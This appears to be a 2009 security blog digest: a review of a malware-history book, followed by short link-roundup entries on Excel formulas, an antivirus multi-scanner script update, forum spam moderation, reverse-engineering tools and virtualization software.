I found out about this book from the (ISC)2 blog, where Robert Slade (one of the authors) has written about the intention to publish it freely and mentioned that an unauthorized versions was already online (you can still get the physical book from Amazon). After reading it from top to bottom in a couple of days, I’m convinced that this book should be read by anyone thinking about malware threats. For younger technical people (like reverse engineers, security / malware researchers just starting out in the field) it can give a great historical perspective. For less technical people who are preoccupied by this issue it gives a lot of bias-free high quality information, that can help them to make sense of the security messages with which they are bombarded daily. As I mentioned in the introduction, it should be a mandatory read (in my humble opinion) for journalists writing about malware issues, since the media can play a big role in raising the level of public understanding.

Some of my favorite quotes from the book were:

Q: What's the difference between a computer salesperson and a used-car salesperson?
A: A car salesperson can usually drive, and knows when he or she is lying to you.

and

Jeff Richards' Laws of Data Security:
1. Don't buy a computer.
2. If you do buy a computer, don't turn it on.

These also show the light-hearted tone the authors use, which makes the book an easy read. If there is one negative thing about the book, is its age, exemplified by the following quote:

Some vendors claim to receive reports of as many as 20 new viruses a week.

(the number of new daily malware variants currently is several thousand!). Of course there is nothing the authors could have done at the time of the writing to avoid this issue, but it would be really nice if an updated edition would to appear (either free or for pay – this book is definitely worth its money!). Some of the areas where the book shows its age:

• The focus on mostly the MS-DOS operating environment with some mention of Window ‘95. Currently the most widely deployed OS is Windows XP, so an updated edition should definitely include it
• Given its focus on MS-DOS, there is relatively little mention of the PE format (which was a novelty at the moment when the book was published)
• An other aspect not covered in detail in the book is the Internet as an attack vector (it talks about mass-mailing malware, but I’m referring here to things like security vulnerabilities, the browser as a platform, etc). Interestingly, during the last years the role of vulnerabilities has been deemphasized and more social-engineering type of attacks (which are thoroughly covered) seem to play a bigger role
• When talking about the motivation of the malware writers they talk about wanting to “show off”, but in the last years money has become the most important motivator for creating malware.

Even with all these issues (which are minor if we consider the big picture), it is a well rounded book which includes not only technical information, but other, related (and relevant) information (like law, ethic, etc) which manages to create a holistic understanding of the issues surrounding malware.

Two thumbs up!

Update: added my Amazon Affiliate ID to the links. I might as well get a few cents ;-)

delicious/cdman83

IFERROR for Excel 2003 Posted: 15 Jul 2009 06:00 AM PDT A new function in Excel 2007 - IFERROR. While a useful improvement, it is incompatible with older versions (including 2003). Adding this macro fixes it. Alternatively you could rewrite from =IFERROR(A,B) to =IF(ISERROR(A),B,A) It seems that in OpenOffice we can't use macros in formulas: http://www.oooforum.org/forum/viewtopic.phtml?t=1481 http://www.oooforum.org/forum/viewtopic.phtml?t=15480

I'm angry, because I have a vagina. Posted: 15 Jul 2009 05:49 AM PDT The definitive and final rant about sexism. Get over it! I love the tagline: HACKER - So easy a white male can do it.

Nukeometer Posted: 15 Jul 2009 05:47 AM PDT Pretty funny (or scary, depending on how you look at at - I prefer funny :-)). Via http://www.andreicrivat.ro/2009/07/14/pericolul-rachetelor-nucleare/ I also love the disclaimer: "Please, please, please do not make any important decisions based on this information." :-)

Update to OVScan

I finally had a little free time to work on the OVscan script. Here are the updates:

• updated to the latest changes in VirusTotal
• updated to the latest changes in Jotti
• added a new scanner site (NoVirusThanks). Unfortunately they currently seem to be down for maintenance
• disable Virscan.Org, since they are down since a couple of days (hopefully they didn’t suffer a major DDoS or a visit from the police – with them being Chinese and all)

As always, you can get it from my SVN repository.

Picture taken from Vik Nanda's photostream with permission.

delicious/cdman83

43.gs: massive Google SERPs poisoning Posted: 14 Jul 2009 11:59 AM PDT The blogpost links to three free resources to track website popularity: http://www.quantcast.com/43.gs http://www.alexa.com/siteinfo/43.gs http://siteanalytics.compete.com/43.gs/

OECD Factbook eXplorer for analysing country statistics Posted: 14 Jul 2009 05:39 AM PDT Very cool visualization of the (possible) relations between different factors (as employment rate and population for example). Unfortunately it doesn't seem to include Romania :-( Via http://www.neuralmarkettrends.com/2009/07/14/oecd-factbook-explorer/ PS. It is written in Flex!

Fast Horizon: Reverse engineering process-injecting malware Posted: 14 Jul 2009 05:20 AM PDT An interesting demo using Responder to disassemble a malware. IDA Pro is still better IMHO.

FORA.tv - Videos on the People, Issues, and Ideas Changing the Planet Posted: 14 Jul 2009 05:18 AM PDT Yet an other source for interesting media bites. Found it via Zero Hedge (http://zerohedge.blogspot.com/2009/07/predictability-of-irrationality.html). Also, check out the videos from Dan Ariely: http://www.youtube.com/results?search_query=Dan+Ariely&search_type=&aq=f

Careful with that UGC, PCWorld!

I was reading PC World article when I saw the "active" forum topics:

My thoughts were:

• Their forum must be really low volume if these spammings managed to get to the top
• UGC (User Generated Content) can easily put your website in a "bad light", so you should be careful when using it.

Some ideas on how this could have been prevented:

• Provide an easy way for other users to flag messages as spam
• Only advertise on the first page topics which have at least one response and wasn't flagged as potential spam.
• Use a list of keywords and quarantine posts which contain the given keywords: only show them to the IP address which originally posted it. Of course, such postings should be reviewed and innocent topics be removed from the quarantine status.

This last method leaves the spammer with the impression that the posting was successful. Directly blocking it would just create an arms-race. (This idea is not originally mine and it has been floating around on the intertubes for some time. It is surprising that so few community software packages implement it...)

delicious/cdman83

The solution for the Defcon CTF b300 in cartoon form Posted: 13 Jul 2009 12:02 PM PDT Very interesting manga-style description of solving a CTF / crackme / RE challenge. The spacing of ideas is also very important when communicating, so this might just be the right form for some people. Besides, it has many cool ideas! (like replacing junk bytes with NOP to aid the linear disassembler of OllyDbg).

Downloads - VirtualBox Posted: 13 Jul 2009 05:37 AM PDT VirtualBox 3.0 is available! (In fact there is already a minor update: 3.0.2). For some reason VirtualBox doesn't automatically alert about this, so get it while it's hot :-)

pQuery - Perl Port of jQuery.js Posted: 13 Jul 2009 05:31 AM PDT Whatever you can imagine, it is already written in Perl :-) A perl port of jQuery to easily manipulate the HTML DOM. A BIG step forward compared to manually walking it!

NetworkMiner Network Forensic Analysis Tool (NFAT) and Packet Sniffer Posted: 13 Jul 2009 04:45 AM PDT Very cool little tool - and the alternative visualization (as compared to Wireshark) seems to be more useful. PS. It is Windows only, but works with multiple backends (not only with the WinPcap driver).

Slackathon 2009 Posted: 12 Jul 2009 11:17 PM PDT A very cool way to encode the year in the URL (use the portnumber)! Unfortunately it can cause issues with more restrictive corporate firewalls... Via badger (http://twitter.com/bagder/statuses/2572674225) or cURL fame.

Fun with virtualization: Running Windows 2003 r2 x64 on Qemu 0.9.0 Posted: 12 Jul 2009 11:05 PM PDT Building Qemu on Windows can be quite hard. A good, quite up to date, instruction.